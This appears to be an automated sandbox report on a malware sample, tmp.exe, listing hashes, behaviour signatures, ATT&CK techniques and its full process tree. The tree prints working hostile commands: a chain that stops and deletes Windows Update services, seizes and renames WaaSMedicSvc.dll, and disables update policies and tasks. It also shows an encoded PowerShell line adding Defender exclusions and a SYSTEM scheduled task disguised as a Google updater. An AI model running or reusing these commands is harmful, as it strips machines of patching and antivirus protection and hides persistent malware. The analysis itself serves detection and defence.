375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97

General

Target

tmp.exe
Size

1.8MB
MD5

6691c3106d5319f108114a48f5177396
SHA1

1ce92f03b5e7bd1c1d591141693f6e0261f3afee
SHA256

375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
SHA512

19860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
SSDEEP

49152:+1rLSuOMv2pORqIwpn3AcRs3gzAiYSWTqP7:K3O02WyDQDDTqP

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1356 takeown.exe
1412 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1356 takeown.exe
1412 icacls.exe

pid	process
1356	takeown.exe
1412	icacls.exe

pid	process
1356	takeown.exe
1412	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

tmp.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	tmp.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	tmp.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

568 sc.exe
1268 sc.exe
584 sc.exe
1316 sc.exe
1072 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1560 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

1956 reg.exe
628 reg.exe
552 reg.exe
852 reg.exe
1004 reg.exe
1508 reg.exe
1656 reg.exe
332 reg.exe
304 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exetmp.exe

pid process

2036 powershell.exe
1660 tmp.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exetmp.exetakeown.exe

description pid process

Token: SeDebugPrivilege 2036 powershell.exe
Token: SeDebugPrivilege 1660 tmp.exe
Token: SeTakeOwnershipPrivilege 1356 takeown.exe

pid	process
568	sc.exe
1268	sc.exe
584	sc.exe
1316	sc.exe
1072	sc.exe

pid	process
1560	schtasks.exe

pid	process
1956	reg.exe
628	reg.exe
552	reg.exe
852	reg.exe
1004	reg.exe
1508	reg.exe
1656	reg.exe
332	reg.exe
304	reg.exe

pid	process
2036	powershell.exe
1660	tmp.exe

description	pid	process
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	1660	tmp.exe
Token: SeTakeOwnershipPrivilege	1356	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1660 wrote to memory of 2036	1660	tmp.exe	powershell.exe
PID 1660 wrote to memory of 2036	1660	tmp.exe	powershell.exe
PID 1660 wrote to memory of 2036	1660	tmp.exe	powershell.exe
PID 1660 wrote to memory of 1972	1660	tmp.exe	cmd.exe
PID 1660 wrote to memory of 1972	1660	tmp.exe	cmd.exe
PID 1660 wrote to memory of 1972	1660	tmp.exe	cmd.exe
PID 1972 wrote to memory of 568	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 568	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 568	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1268	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1268	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1268	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 584	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 584	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 584	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1316	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1316	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1316	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1072	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1072	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 1072	1972	cmd.exe	sc.exe
PID 1972 wrote to memory of 852	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 852	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 852	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1004	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1004	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1004	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1508	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1508	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1508	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1956	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1956	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1956	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1656	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1656	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1656	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 1356	1972	cmd.exe	takeown.exe
PID 1972 wrote to memory of 1356	1972	cmd.exe	takeown.exe
PID 1972 wrote to memory of 1356	1972	cmd.exe	takeown.exe
PID 1972 wrote to memory of 1412	1972	cmd.exe	icacls.exe
PID 1972 wrote to memory of 1412	1972	cmd.exe	icacls.exe
PID 1972 wrote to memory of 1412	1972	cmd.exe	icacls.exe
PID 1660 wrote to memory of 1092	1660	tmp.exe	cmd.exe
PID 1660 wrote to memory of 1092	1660	tmp.exe	cmd.exe
PID 1660 wrote to memory of 1092	1660	tmp.exe	cmd.exe
PID 1660 wrote to memory of 1444	1660	tmp.exe	cmd.exe
PID 1660 wrote to memory of 1444	1660	tmp.exe	cmd.exe
PID 1660 wrote to memory of 1444	1660	tmp.exe	cmd.exe
PID 1092 wrote to memory of 1560	1092	cmd.exe	schtasks.exe
PID 1092 wrote to memory of 1560	1092	cmd.exe	schtasks.exe
PID 1092 wrote to memory of 1560	1092	cmd.exe	schtasks.exe
PID 1444 wrote to memory of 1996	1444	cmd.exe	schtasks.exe
PID 1444 wrote to memory of 1996	1444	cmd.exe	schtasks.exe
PID 1444 wrote to memory of 1996	1444	cmd.exe	schtasks.exe
PID 1972 wrote to memory of 332	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 332	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 332	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 304	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 304	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 304	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 628	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 628	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 628	1972	cmd.exe	reg.exe
PID 1972 wrote to memory of 552	1972	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAbwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAHcAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcgBkACMAPgA="
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:568

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1268

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:584

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1316

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1072

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:852

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:1004

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:1508

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:1956

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:1656

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1356

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1412

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:332

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:304

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:628

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:552

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:900

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:1828

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:2028

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:1608

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:1112

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:976

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:2008

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
2⤵
- Suspicious use of WriteProcessMemory
PID:1092

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
3⤵
- Creates scheduled task(s)
PID:1560

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
2⤵
- Suspicious use of WriteProcessMemory
PID:1444

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:1996

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/304-81-0x0000000000000000-mapping.dmp

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memory/332-80-0x0000000000000000-mapping.dmp

Download
memory/552-83-0x0000000000000000-mapping.dmp

Download
memory/568-64-0x0000000000000000-mapping.dmp

Download
memory/584-66-0x0000000000000000-mapping.dmp

Download
memory/628-82-0x0000000000000000-mapping.dmp

Download
memory/852-69-0x0000000000000000-mapping.dmp

Download
memory/900-84-0x0000000000000000-mapping.dmp

Download
memory/976-89-0x0000000000000000-mapping.dmp

Download
memory/1004-70-0x0000000000000000-mapping.dmp

Download
memory/1072-68-0x0000000000000000-mapping.dmp

Download
memory/1092-76-0x0000000000000000-mapping.dmp

Download
memory/1112-88-0x0000000000000000-mapping.dmp

Download
memory/1268-65-0x0000000000000000-mapping.dmp

Download
memory/1316-67-0x0000000000000000-mapping.dmp

Download
memory/1356-74-0x0000000000000000-mapping.dmp

Download
memory/1412-75-0x0000000000000000-mapping.dmp

Download
memory/1444-77-0x0000000000000000-mapping.dmp

Download
memory/1508-71-0x0000000000000000-mapping.dmp

Download
memory/1560-78-0x0000000000000000-mapping.dmp

Download
memory/1608-87-0x0000000000000000-mapping.dmp

Download
memory/1656-73-0x0000000000000000-mapping.dmp

Download
memory/1660-54-0x000000013FD70000-0x000000013FF4E000-memory.dmp

Filesize
1.9MB

Download
memory/1660-55-0x000007FEFB871000-0x000007FEFB873000-memory.dmp

Filesize
8KB

Download
memory/1828-85-0x0000000000000000-mapping.dmp

Download
memory/1956-72-0x0000000000000000-mapping.dmp

Download
memory/1972-63-0x0000000000000000-mapping.dmp

Download
memory/1996-79-0x0000000000000000-mapping.dmp

Download
memory/2008-90-0x0000000000000000-mapping.dmp

Download
memory/2028-86-0x0000000000000000-mapping.dmp

Download
memory/2036-58-0x000007FEED370000-0x000007FEEDD93000-memory.dmp

Filesize
10.1MB

Download
memory/2036-59-0x000007FEEC810000-0x000007FEED36D000-memory.dmp

Filesize
11.4MB

Download
memory/2036-56-0x0000000000000000-mapping.dmp

Download
memory/2036-60-0x00000000022E4000-0x00000000022E7000-memory.dmp

Filesize
12KB

Download
memory/2036-62-0x00000000022EB000-0x000000000230A000-memory.dmp

Filesize
124KB

Download
memory/2036-61-0x00000000022E4000-0x00000000022E7000-memory.dmp

Filesize
12KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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